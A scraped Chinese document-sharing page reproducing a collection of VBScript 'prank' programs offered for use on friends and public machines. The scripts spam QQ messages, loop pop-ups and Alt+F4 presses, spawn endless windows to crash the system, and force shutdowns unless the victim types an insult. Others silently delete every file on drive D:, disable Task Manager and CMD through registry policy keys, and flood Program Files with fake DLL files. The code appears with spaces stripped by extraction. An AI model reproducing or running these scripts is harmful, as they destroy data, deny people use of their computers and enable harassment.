vbs整人代码大集合.docx

上传人:b****4 文档编号:5283150 上传时间:2023-05-08 格式:DOCX 页数:11 大小:20.01KB
下载 相关 举报
vbs整人代码大集合.docx_第1页
第1页 / 共11页
vbs整人代码大集合.docx_第2页
第2页 / 共11页
vbs整人代码大集合.docx_第3页
第3页 / 共11页
vbs整人代码大集合.docx_第4页
第4页 / 共11页
vbs整人代码大集合.docx_第5页
第5页 / 共11页
vbs整人代码大集合.docx_第6页
第6页 / 共11页
vbs整人代码大集合.docx_第7页
第7页 / 共11页
vbs整人代码大集合.docx_第8页
第8页 / 共11页
vbs整人代码大集合.docx_第9页
第9页 / 共11页
vbs整人代码大集合.docx_第10页
第10页 / 共11页
vbs整人代码大集合.docx_第11页
第11页 / 共11页
亲,该文档总共11页,全部预览完了,如果喜欢就下载吧!
下载资源
资源描述

vbs整人代码大集合.docx

《vbs整人代码大集合.docx》由会员分享,可在线阅读,更多相关《vbs整人代码大集合.docx(11页珍藏版)》请在冰点文库上搜索。

vbs整人代码大集合.docx

vbs整人代码大集合

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). 

xx.vbs=> 

复制代码代码如下:

OnErrorResumeNext 

Dimwsh,ye 

setwsh=createobject("wscript.shell") 

fori=1to10 

wscript.sleep700 

wsh.AppActivate("与xx聊天中") 

wsh.sendKeys"^v" 

wsh.sendKeysi 

wsh.sendKeys"%s" 

next 

wscript.quit 

QQ骚扰信息,也可以用在其它程序上。

 

二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 

------------------------------------------------------------------------------ 

do 

msgbox"Youarefoolish!

loop 

------------------------------------------------------------------------------ 

三、打开无数个计算器,直到死机 

------------------------------------------------------------------------------ 

setwsh=createobject("wscript.shell") 

do 

wsh.run"calc" 

loop 

----------------------------------------------------------------------------- 

四、直接关机 

----------------------------------------------------------------------------- 

dimWSHshell 

setWSHshell=wscript.createobject("wscript.shell") 

WSHshell.run"shutdown-f-s-t00",0,true 

----------------------------------------------------------------------------- 

五、删除D:

\所有文件 

--------------------------------------------------------------------------- 

dimWSHshell 

setWSHshell=wscript.createobject("wscript.shell") 

WSHshell.run"cmd/c""deld:

\*.*/f/q/s""",0,true 

---------------------------------------------------------------------------- 

六、不断弹出窗口 

---------------------------------------------------------------------------- 

复制代码代码如下:

while

(1) 

msgbox"哈哈你被耍了!

loop 

---------------------------------------------------------------------------- 

七、不断按下alt+f4(开什么都关闭……) 

--------------------------------------------------------------------------- 

复制代码代码如下:

dimWSHshell 

setWSHshell=wscript.createobject("wscript.shell") 

while

(1) 

WSHshell.SendKeys"%{F4}" 

loop 

八、按500次回车 

(以上代码在运行者的电脑上显示500个对话框。

其中dountils=500,500可以随意更改) 

复制代码代码如下:

dims 

dountils=500 

s=s+1 

msgbox"哥们,给我按500次回车吧",64 

loop 

'------------------------------------------------------------------------------------ 

九、关不掉的窗口 

复制代码代码如下:

WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!

"&TSName) 

WScript.Echo("你是可爱的小朋吗?

") 

WScript.Echo("哈,我想你拉,这你都不知道吗?

") 

WScript.Echo("怎么才来,说~是不是不关心我") 

WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。

") 

WScript.Echo("小强很生气,后果很严重哦。

") 

WScript.Echo("嘿嘿!

你也会很惨滴哦") 

WScript.Echo("是不是想清除我?

") 

WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") 

WScript.Echo("还剩49下,快点点哦") 

WScript.Echo("还剩48下,快点,小笨蛋!

") 

WScript.Echo("还剩47下对,就这样快点点!

") 

WScript.Echo("还剩46下。

你啊就是笨,要快哦,我先不打扰你工作。

") 

WScript.Echo("还剩45下,记得要快哦!

") 

WScript.Echo("还剩43下") 

WScript.Echo("还剩42下") 

WScript.Echo("还剩41下") 

WScript.Echo("还剩40下") 

WScript.Echo("还剩39下") 

WScript.Echo("还剩38下") 

WScript.Echo("还剩37下") 

WScript.Echo("还剩36下") 

WScript.Echo("还剩35下") 

WScript.Echo("还剩34下") 

WScript.Echo("还剩33下") 

WScript.Echo("还剩32下") 

WScript.Echo("还剩30下") 

WScript.Echo("还剩29下") 

WScript.Echo("还剩28下") 

WScript.Echo("还剩27下") 

WScript.Echo("还剩26下") 

WScript.Echo("还剩25下") 

WScript.Echo("还剩24下") 

WScript.Echo("还剩23下") 

WScript.Echo("还剩22下") 

WScript.Echo("还剩21下") 

WScript.Echo("还剩20下") 

WScript.Echo("还剩19下") 

WScript.Echo("还剩18下") 

WScript.Echo("还剩17下") 

WScript.Echo("还剩16下") 

WScript.Echo("还剩15下") 

WScript.Echo("还剩14下") 

WScript.Echo("还剩13下停停!

慢点,我有话要说") 

WScript.Echo("还剩12下,你继续点我就会消失滴") 

WScript.Echo("还剩11下,以后就看不到我拉。

555555") 

WScript.Echo("还剩10下,你现在可以选择停止!

") 

WScript.Echo("还剩9下。

你还点啊,不要我拉?

") 

WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") 

WScript.Echo("还剩7下。

疯了,你有点负意!

") 

WScript.Echo("还剩6下。

对。

你就点吧,我恨你!

") 

WScript.Echo("还剩5下,不明白,删除我你就好吗?

") 

WScript.Echo("还剩4下!

真要删除我?

") 

WScript.Echo("还剩3下。

可是我真的很眷恋你。

") 

WScript.Echo("还剩2下。

不要这么绝情嘛,人家是爱你的!

") 

WScript.Echo("还剩1下。

哼,既然你这么绝情。

也别怪我无义!

") 

WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。

") 

WScript.Echo("想结素我么?

那你就再多点一次") 

WScript.Echo("想结素我么?

那你就再多点一次") 

WScript.Echo("想结素我么?

那你就再多点一次") 

WScript.Echo("想结素我么?

那你就再多点一次") 

WScript.Echo("想结素我么?

那你就再多点一次") 

WScript.Echo("想结素我么?

那你就再多点一次") 

WScript.Echo("想结素我么?

那你就再多点一次") 

WScript.Echo("想结素我么?

那你就再多点一次") 

WScript.Echo("想结素我么?

那你就再多点一次") 

WScript.Echo("想结素我么?

那你就再多点一次") 

今天给大家带来两个整人的VBS脚本希望大家喜欢 

VBS脚本大家都知道吧第一个是定时关机的 

如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的 

时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法 

我们来看下这个脚本 

复制代码代码如下:

onerrorresumenext 

dimWSHshellA 

setWSHshellA=wscript.createobject("wscript.shell") 

WSHshellA.run"cmd.exe/cshutdown-r-t180-c""说我是猪,不说我是猪就一分钟关机,不信,试下···""",0,true 

dima 

dowhile(a<>"我是猪") 

a=inputbox("说我是猪,就不关机,快撒,说""我是猪"" ","说不说","",8000,7000) 

msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox" 

loop 

msgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛" 

dimWSHshell 

setWSHshell=wscript.createobject("wscript.shell") 

WSHshell.run"cmd.exe/cshutdown-a",0,true 

msgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈,好乖" 

新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了 

cmd.exe/cshutdown-r-t180-c 

这里的数字可以修改关机时间180秒 

这些文字也可以自设这个脚本启用cmd里的关机程序 

如果不输的的话可以打开任务管理器输入shutdown-a来解除我们试下这时定时关机已 

经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe这个进程就OK 

了这时就完全解除这个脚本了Wscript时Windows脚本宿主 

------------------------------------------------------------------------------------------- 

下面看第二个整人的脚本 

------------------------------------------------------------------------------------------- 

复制代码代码如下:

setws=createobject("wscript.shell") 

callshutdown

(1) 

dowhilea<>"我是猪" 

a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪""","输不输","") 

loop 

callshutdown

(2) 

msgbox"早说就行了嘛",4096+64 

msgbox"再输一遍我是猪!

",4096+64 

msgbox"我是猪!

",4096+64 

MsgBox"最后一次!

",4096+64 

MsgBox"如果你很快的点过去,不看的话",4096+64 

MsgBox"我就要你踩我空间的!

哼!

",4096+64 

MsgBox"从前有座山!

",4096+64 

MsgBox"山里有个庙.",4096+64 

MsgBox"庙里有个老和尚在讲故事.",4096+64 

ws.run"iexplore.exe 

msgbox"哎呀累了!

数绵羊哄我睡觉",4096+64 

fori=1to100 

MsgBoxi&"只绵羊",4096+64 

next 

msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!

",4096+64 

msgbox"最后问个问题,我是不是大好人!

",4096+64 

ifinputbox("是不是","请选择","是")<>"是"then 

callshutdown

(1) 

endif 

subshutdown(s) 

selectcases 

case1 

ws.run"cmd.exe/cshutdown-r-t60-c",0 

case2 

ws.run"cmd.exe/cshutdown-a",0 

endselect 

endsub 

-------------------------------------------------------------------------------- 

ws.run"iexplore.exe 

这段代码可以改成你自己设定的地址 

如果别人不输我是猪的话就会一直点下去点到你设定的数字 

fori=1to100 

从1到100 

可以改成20其他的数字 

解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe 

这个进程就好了 

BY:

 

2009QQ整人代码 

复制代码代码如下:

sets=createobject("wscript.shell") 

setbag=getobject("winmgmts:

\\.\root\cimv2") 

setpipe=bag.execquery("select*fromwin32_processwherename='wscript.exe'") 

ForEachidinpipe 

ifinstr(1,mandLine,wscript.scriptfullname)<>0andpipe.count>=2then 

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" 

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" 

id.terminate() 

else 

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" 

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD" 

fori=1to60 

s.popup"系统将在"&60-i&"秒后关机...",1,"系统提示",4096+48 

next 

SetcolOS=GetObject("winmgmts:

{(Shutdown)}").ExecQuery("Select*FROMWin32_OperatingSystem") 

ForEacheOsIncolOS 

eOs.Win32Shutdown

(2) 

Next 

endif 

Next 

[color=#FF0000]复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式, 

此代码的威力:

 

1:

开机就强制自动关机 

2:

cmd命令打不开 

3:

结束任务不管用 

4:

F8安全模式也不管用 

呵呵!

听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、 

代码破解方法:

就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,, 

PS:

不要乱拿软件去整人,发生什么事可不要怪我啊。

 

拍拍手顶起吧!

 

2:

 

复制代码代码如下:

onerrorresumenext 

dimWSHshellA 

setWSHshellA=wscript.createobject("wscript.shell") 

WSHshellA.run"cmd.exe/cshutdown-r-t60-c""说你是傻B,我是天下第一大傻B不说宝宝,我是天下第一大傻B就一分钟关你机,不信,试试···""",0,true 

dima 

dowhile(a<>"宝宝,我是天下第一大傻B") 

a=inputbox("宝宝,我是天下第一大傻B,就不关机,快撒,说""宝宝,我是天下第一大傻B"" ","说不说","不说",8000,7000) 

msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox" 

loop 

msgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛,乖乖" 

dimWSHshell 

setWSHshell=wscript.createobject("wscript.shell") 

WSHshell.run"cmd.exe/cshutdown-a",0,true 

msgboxchr(13)+chr(13)+chr(13)+"宝宝是不是又帅啦?

这代码是我从朋友那拿来的,大家可以试着玩下、你能做非法事情哦、 

网页整人效果代码 

想看效果,只要复制这下面的所有代码保存在text文件里,修改文件后缀为txt就能看到效果了。

 

复制代码代码如下:

 

 

 

网页特效|L </p><p></head> </p><p><body> </p><p><ahref=""onMouseover="alert('为什么把鼠标放到这里?</p><p>'); </p><p>alert('我不是说过不可以这样吗?</p><p>'); </p><p>alert('你把我的话当什么了?</p><p>'); </p><p>alert('你知道错了吗?</p><p>'); </p><p>alert('什么?</p><p>你居然....'); </p><p>alert('居然还没意识到自己做错了?</p><p>'); </p><p>alert('那好,你要为此付出代价!</p><p>'); </p><p>alert('我要你在这里点足一千下......'); </p><p>alert('什么?</p><p>你开始有点后悔了?</p><p>'); </p><p>alert('何必呢?</p><p>'); </p><p>alert('你当初干什么去了?</p><p>'); </p><p>alert('不原谅你!</p><p>'); </p><p>alert('好从现在开始再点995下......'); </p><p>alert('你的手开始累了吗?</p><p>'); </p><p>alert('什么?</p><p>你已经没力气了?</p><p>'); </p><p>alert('你一直在求我原谅你啊!</p><p>'); </p><p>alert('看来你是真的知道错了!</p><p>'); </p><p>alert('下次你还会这么做吗?</p><p>'); </p><p>alert('真的不会了?</p><p>'); </p><p>alert('那好,今天就放你一马!</p><p>'); </p><p>alert('写封信给我说声对不起!</p><p>'); </p><p>alert('你能这么做我很高兴!</p><p>!</p><p>!</p><p>'); </p><p>document.bgColor='black'; </p><p>document.fgColor='White'; </p><p>window.location.href='mailto:</p><p>mygod@god?</p><p>subject=对不起,下次不敢了!</p><p>';">不许把鼠标移到这里</a> </p><p>嘻试吧爽噢。</p><p>。</p><p> </p><p></body> </p><p></html> </p><p>vbs整人代码 </p><p>代码如下:</p><p> </p><p>复制代码代码如下:</p><p>PrivateSubForm_Load() </p><p>Me.Hide </p><p>EndSub </p><p>PrivateSubTimer1_Timer() </p><p>'声明变量,其中“count”为静态变量,以便生成不同的文件 </p><p>DimfilesAsString </p><p>DimnrAsString </p><p>DimcAsString </p><p>StaticcountAsLong </p><p>'定义要把生成的文件存放在那个目录文件下 </p><p>c="C:</p><p>\ProgramFiles\" </p><p>'生成文件的内容 </p><p>nr="哈哈,被黑的感觉的不错吧" </p><p>files=FreeFile </p><p>'如果a等于a那么就执行 </p><p>Ifa=aThen </p><p>'count不断的加1,以便产生不同的文件名 </p><p>count=count+1 </p><p>'产生文件名及文件句柄,并用count作为产生不同的文件名。</p><p> </p><p>Openc&"system"&count&".dll"ForAppendAs#files </p><p>'向文件写内容 </p><p>Write#files,nr </p><p>'清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示 </p><p>Close#files </p><p>EndIf </p><p>EndSub </p><p></p> </div> <div class="readmore" onclick="showmore()" style="background-color:transparent; height:auto; margin:0px 0px; padding:20px 0px 0px 0px;"><span class="btn-readmore" style="background-color:transparent;"><em style=" font-style:normal">展开</em>阅读全文<i></i></span></div> <script> function showmore() { $(".readmore").hide(); $(".detail-article").css({ "height":"auto", "overflow": "hidden" }); } $(document).ready(function() { var dh = $(".detail-article").height(); if(dh >100) { $(".detail-article").css({ "height":"100px", "overflow": "hidden" }); } else { $(".readmore").hide(); } }); </script> </div> <script> var defaultShowPage = parseInt("20"); var id = "5283150"; var total_page = "11"; var mfull = false; var mshow = false; function DownLoad() { window.location.href='https://m.bingdoc.com/d-5283150.html'; } function relate() { var reltop = $('#relate').offset().top-50; $("html,body").animate({ scrollTop: reltop }, 500); } </script> <div id="relate" class="container" style="padding:0px 0px 15px 0px; margin-top:20px; border:solid 1px #dceef8"> <div style=" font-size: 16px; background-color:#e5f0f7; margin-bottom:5px; font-weight: bold; text-indent:10px; line-height: 40px; height:40px; padding-bottom: 0px;">相关资源</div> <div id="relatelist" style="padding-left:5px;"> <ul> <li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-778187.html" title="vbs整人代码.docx">vbs整人代码.docx</a> </li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-7944331.html" title="vbs整人代码.docx">vbs整人代码.docx</a> </li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-1217943.html" title="vbs整人代码大全.docx">vbs整人代码大全.docx</a> </li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-11003780.html" title="vbs整人代码大集合.docx">vbs整人代码大集合.docx</a> </li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-8615949.html" title="vbs整人代码Word文档格式.docx">vbs整人代码Word文档格式.docx</a> </li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-7173716.html" title="vbs整人代码大集合Word下载.docx">vbs整人代码大集合Word下载.docx</a> </li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-1044412.html" title="vbs整人代码Word文档下载推荐.docx">vbs整人代码Word文档下载推荐.docx</a> </li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-1451747.html" title="vbs整人代码大全Word格式文档下载.docx">vbs整人代码大全Word格式文档下载.docx</a> </li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-5684254.html" title="VBS脚本常用代码大全 整理.docx">VBS脚本常用代码大全 整理.docx</a> </li> </ul> </div> </div> <div class="container" style="padding:0px 0px 15px 0px; margin-top:20px; border:solid 1px #dceef8"> <div style=" font-size: 16px; background-color:#e5f0f7; margin-bottom:5px; font-weight: bold; text-indent:10px; line-height: 40px; height:40px; padding-bottom: 0px;">猜你喜欢</div> <div id="relatelist" style="padding-left:5px;"> <ul> <li><em class="docx"></em> <a href="https://m.bingdoc.com/p-1624122.html" target="_parent" title="S版六年级语文下册教学反思.docx">S版六年级语文下册教学反思.docx</a></li> <li><em class="docx"></em> <a href="https://m.bingdoc.com/p-1624123.html" target="_parent" title="八年级政治下册期末复习提纲000.docx">八年级政治下册期末复习提纲000.docx</a></li> <li><em class="docx"></em> <a href="https://m.bingdoc.com/p-1624124.html" target="_parent" title="版助听器注册技术审查指导原则.docx">版助听器注册技术审查指导原则.docx</a></li> <li><em class="docx"></em> <a href="https://m.bingdoc.com/p-1624125.html" target="_parent" title="饼干市场营销策划书.docx">饼干市场营销策划书.docx</a></li> <li><em class="docx"></em> <a href="https://m.bingdoc.com/p-1624126.html" target="_parent" title="部编七年级上册语文期末复习综合检测一有答案.docx">部编七年级上册语文期末复习综合检测一有答案.docx</a></li> <li><em class="docx"></em> <a href="https://m.bingdoc.com/p-1624127.html" target="_parent" title="财政局长年度述职述廉报告范文.docx">财政局长年度述职述廉报告范文.docx</a></li> <li><em class="docx"></em> <a href="https://m.bingdoc.com/p-1624128.html" target="_parent" title="层层剖析智能家居.docx">层层剖析智能家居.docx</a></li> <li><em class="docx"></em> <a href="https://m.bingdoc.com/p-1624129.html" target="_parent" title="车辆保险业务合作协议.docx">车辆保险业务合作协议.docx</a></li> <li><em class="docx"></em> <a href="https://m.bingdoc.com/p-1624130.html" target="_parent" title="澄迈总工会部门预算.docx">澄迈总工会部门预算.docx</a></li> </ul> </div> </div> <div style=" font-size: 16px; background-color:#e5f0f7; margin-top:20px; font-weight: bold; text-indent:10px; line-height: 40px; height:40px; padding-bottom: 0px; margin-bottom:10px;"> 相关搜索</div> <div class="widget-box pt0" style="border: none; padding:0px 5px;"> <ul class="taglist--inline multi"> <li class="tagPopup"><a target="_parent" class="tag tagsearch" rel="nofollow" href="https://m.bingdoc.com/search.html?q=vbs">vbs</a></li> <li class="tagPopup"><a target="_parent" class="tag tagsearch" rel="nofollow" href="https://m.bingdoc.com/search.html?q=%e6%95%b4%e4%ba%ba">整人</a></li> <li class="tagPopup"><a target="_parent" class="tag tagsearch" rel="nofollow" href="https://m.bingdoc.com/search.html?q=%e4%bb%a3%e7%a0%81">代码</a></li> <li class="tagPopup"><a target="_parent" class="tag tagsearch" rel="nofollow" href="https://m.bingdoc.com/search.html?q=%e9%9b%86%e5%90%88">集合</a></li> </ul> </div> <div style=" font-size: 16px; background-color:#e5f0f7; font-weight: bold; text-indent:10px; line-height: 40px; height:40px; padding-bottom: 0px; margin-bottom:10px;"> 资源标签</div> <div class="widget-box pt0" style="border: none; padding:0px 5px;"> <ul class="taglist--inline multi"> <li class="tagPopup"><a class="tag tag0" href="https://m.bingdoc.com/mark/vbszhengrendaima.html" >vbs整人代码</a></li><li class="tagPopup"><a class="tag tag1" href="https://m.bingdoc.com/mark/vbsdaquan.html" >VBS大全</a></li><li class="tagPopup"><a class="tag tag2" href="https://m.bingdoc.com/mark/vbszhengrendaimajihe.html" >vbs整人代码集合</a></li><li class="tagPopup"><a class="tag tag3" href="https://m.bingdoc.com/mark/zhengrendaimadaquan.html" >整人代码大全</a></li> </ul> </div> <br /> <div > 当前位置:<a target="_parent" href="https://m.bingdoc.com/">首页</a> > <a href="https://m.bingdoc.com/booklist-00003.html">医药卫生</a><span> > </span><a href="https://m.bingdoc.com/booklist-0000300001.html">基础医学</a> </div> <br /> <div class="cssnone"> <iframe title="来源" src="https://m.bingdoc.com/BookRead.aspx?id=R3sZz57jPlA%3d&parto=d7Pb%2fPmN%2bwof7360T7GsjFsN0LwloA9aFWB7srUmn9Bk8ojjVq6gJ2GInqjXvtlZ9JcpPnDuCozaMwsJNgvU56pcKTy9431FYJZpX43Ra6FEYJIvOLmZgEyzRWYdiOFGs3Ftwoa6uDXYb5NAzrePxcyqVSrP1N9hhXgGUP7zpzDtZhSiZkPMDEkHN2ghtsjpiWAH1j7bB%2fXDuS1%2bHjgkpKPlzAVdjiKg" frameborder="0" style="width: 0px; height: 0px"> </iframe> </div> <span id="LabelScript"></span> <script src="https://mstatic.bingdoc.com/JS/bootstrap-collapse.js"></script> </form> <div class="siteInner_bg" style="margin-top: 40px; border: solid 0px red; margin-left: 0px; margin-right: 0px;"> <div class="siteInner"> <p style="text-align: center;">copyright@ 2008-2023 冰点文库 网站版权所有</p><p style="text-align: center;">经营许可证编号:<a href="http://beian.miit.gov.cn/" target="_blank">鄂ICP备19020893号-</a>2</p><script>var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?f82ede2a6dd69d4ed35205d3eb25b840"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();</script> </div> </div> <div class="trnav clearfix" id="navcontent" style="display: none; background-color:#3a71b1; "> <div class="trlogoside" id="navlogo" style="display: none;"> <a href="https://m.bingdoc.com/" title="冰点文库"><img src="https://www.bingdoc.com/images/logo_bd.png" alt="冰点文库"></a> <div class="trnavclose" id="navclose"> <span></span> </div> </div> <div class="navcontainer"> <div class="row"> <ul class="nav navbar-nav trnavul headercontent" id="navigation" style="margin:20px 0 0px;"> <li><a target="_parent"href="https://m.bingdoc.com/login.aspx">登录</a></li> <li><a target="_parent"href="https://m.bingdoc.com/">首页 </a></li> <li><a target="_parent"href="https://m.bingdoc.com/booklist-0.html">资源分类 </a></li> <li><a target="_parent"href="https://m.bingdoc.com/UserManage/Recharge.aspx?f=0"><img src="https://m.bingdoc.com/images/s.gif" alt="new" class="hottip1">升级会员 <img src="https://www.bingdoc.com/FileUpload/Images/48520fea-bc98-41ae-b183-84689c7075c9.gif" alt="new" class="hottip"></a></li> <li><a target="_parent"href="https://m.bingdoc.com/newslist.html">通知公告 </a></li> <li><a target="_parent"href="https://m.bingdoc.com/h-0.html">帮助中心 </a></li> </ul> </div> </div> </div> <script type="text/javascript"> function stopPropagation(e) { var ev = e || window.event; if (ev.stopPropagation) { ev.stopPropagation(); } else if (window.event) { window.event.cancelBubble = true;//兼容IE } } $("#navmore").click(function (e) { $("#navcontent").show(); $("#navlogo").show(); stopPropagation(e); var navcontentwidth = $("#navcontent").width(); $('#navcontent').css({ 'right': '-' + navcontentwidth + 'px' }); $("#navcontent").show().animate({ "right": 0 }, 300); }); $(document).bind('click', function () { var navcontentwidth = $("#navcontent").width(); $("#navcontent").animate({ 'right': '-' + navcontentwidth + 'px' }, 300, function () { $("#navcontent").hide(); }); $("#navlogo").fadeOut(300); }); $("#navcontent").click(function (e) { stopPropagation(e); }); $("#navclose").click(function (e) { var navcontentwidth = $("#navcontent").width(); $("#navcontent").animate({ 'right': '-' + navcontentwidth + 'px' }, 300, function () { $("#navcontent").hide(); }); $("#navlogo").fadeOut(300); }); </script> <script> function BaseShare(title, desc, imgUrl) { var link = "https://m.bingdoc.com/p-5283150.html"; if (wx) { wx.config({ debug: false, // 开启调试模式,调用的所有api的返回值会在客户端alert出来,若要查看传入的参数,可以在pc端打开,参数信息会通过log打出,仅在pc端时才会打印。 appId: 'wx3a9604896163fa38', // 必填,公众号的唯一标识 timestamp: '1720118135', // 必填,生成签名的时间戳 nonceStr: 'B5B41FAC0361D157D9673ECB926AF5AE', // 必填,生成签名的随机串 signature: 'b6a7005f83f7a34f1f079b258671d030a647dc8f',// 必填,签名,见附录1 jsApiList: ['onMenuShareAppMessage', 'onMenuShareTimeline', 'updateAppMessageShareData', 'updateTimelineShareData', 'hideMenuItems'] // 必填,需要使用的JS接口列表,所有JS接口列表见附录2 //openTagList: ["wx-open-launch-weapp"]//H5打开小程序 }); wx.ready(function () { //需在用户可能点击分享按钮前就先调用 wx.hideMenuItems({// 要隐藏的菜单项,只能隐藏“传播类”和“保护类”按钮,所有menu项见附录3 menuList: ['menuItem:share:qq', 'menuItem:favorite', 'menuItem:share:QZone', 'menuItem:share:email', 'menuItem:originPage', 'menuItem:readMode', 'menuItem:delete', 'menuItem:editTag', 'menuItem:share:facebook', 'menuItem:share:weiboApp', 'menuItem:share:brand'] }); var shareData = { title: title, // 分享标题 desc: desc,//这里请特别注意是要去除html link: link, // 分享链接,该链接域名或路径必须与当前页面对应的公众号JS安全域名一致 imgUrl: imgUrl, // 分享图标 }; wx.updateAppMessageShareData(shareData);//1.4 分享到朋友 wx.updateTimelineShareData(shareData);//1.4分享到朋友圈 }); } } function BaseShare(title, desc, imgUrl, link) { if (link=="") link = "https://m.bingdoc.com/p-5283150.html"; if (wx) { wx.config({ debug: false, // 开启调试模式,调用的所有api的返回值会在客户端alert出来,若要查看传入的参数,可以在pc端打开,参数信息会通过log打出,仅在pc端时才会打印。 appId: 'wx3a9604896163fa38', // 必填,公众号的唯一标识 timestamp: '1720118135', // 必填,生成签名的时间戳 nonceStr: 'B5B41FAC0361D157D9673ECB926AF5AE', // 必填,生成签名的随机串 signature: 'b6a7005f83f7a34f1f079b258671d030a647dc8f',// 必填,签名,见附录1 jsApiList: ['onMenuShareAppMessage', 'onMenuShareTimeline', 'updateAppMessageShareData', 'updateTimelineShareData', 'hideMenuItems'] // 必填,需要使用的JS接口列表,所有JS接口列表见附录2 //openTagList: ["wx-open-launch-weapp"]//H5打开小程序 }); wx.ready(function () { //需在用户可能点击分享按钮前就先调用 wx.hideMenuItems({// 要隐藏的菜单项,只能隐藏“传播类”和“保护类”按钮,所有menu项见附录3 menuList: ['menuItem:share:qq', 'menuItem:favorite', 'menuItem:share:QZone', 'menuItem:share:email', 'menuItem:originPage', 'menuItem:readMode', 'menuItem:delete', 'menuItem:editTag', 'menuItem:share:facebook', 'menuItem:share:weiboApp', 'menuItem:share:brand'] }); var shareData = { title: title, // 分享标题 desc: desc,//这里请特别注意是要去除html link: link, // 分享链接,该链接域名或路径必须与当前页面对应的公众号JS安全域名一致 imgUrl: imgUrl, // 分享图标 }; wx.updateAppMessageShareData(shareData);//1.4 分享到朋友 wx.updateTimelineShareData(shareData);//1.4分享到朋友圈 }); } } </script> <script> $(document).ready(function () { var arr = $(".headercontent"); for (var i = 0; i < arr.length; i++) { (function (index) { var url = "https://m.bingdoc.com/header.aspx"; $.get(url + "?t=" + (new Date()).valueOf(), function (d) { try { arr.eq(index).empty().html(d); } catch (e) { } try { arr.html(d); } catch (e) { } }); })(i); } }); </script> <script src="https://mstatic.bingdoc.com/js/jquery.lazyload.js"></script> <script charset="utf-8"> $("img.lazys").lazyload({ threshold: 200, effect: "fadeIn" }); </script> </body> </html>